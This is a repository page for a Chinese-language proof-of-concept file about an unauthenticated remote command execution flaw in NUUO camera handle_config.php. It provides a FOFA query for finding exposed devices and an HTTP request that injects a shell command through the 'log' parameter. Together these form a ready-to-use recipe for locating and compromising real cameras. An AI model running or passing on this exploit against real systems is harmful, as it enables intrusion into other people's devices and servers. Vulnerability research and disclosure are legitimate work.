POC/wpoc/NUUO/NUUO摄像机handle_config.php远程代码执行漏洞.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

483 B
Raw Blame History

NUUO摄像机handle_config.php远程代码执行漏洞

NUUO摄像头是中国台湾NUUO公司旗下的一款网络视频记录器NUUO摄像头handle_config.php存在未授权命令执行漏洞攻击者可以获取服务器权限

fofa

body="www.nuuo.com/eHelpdesk.php"

poc

GET /handle_config.php?log=;id; HTTP/1.1
Host: 

image-20250219141445999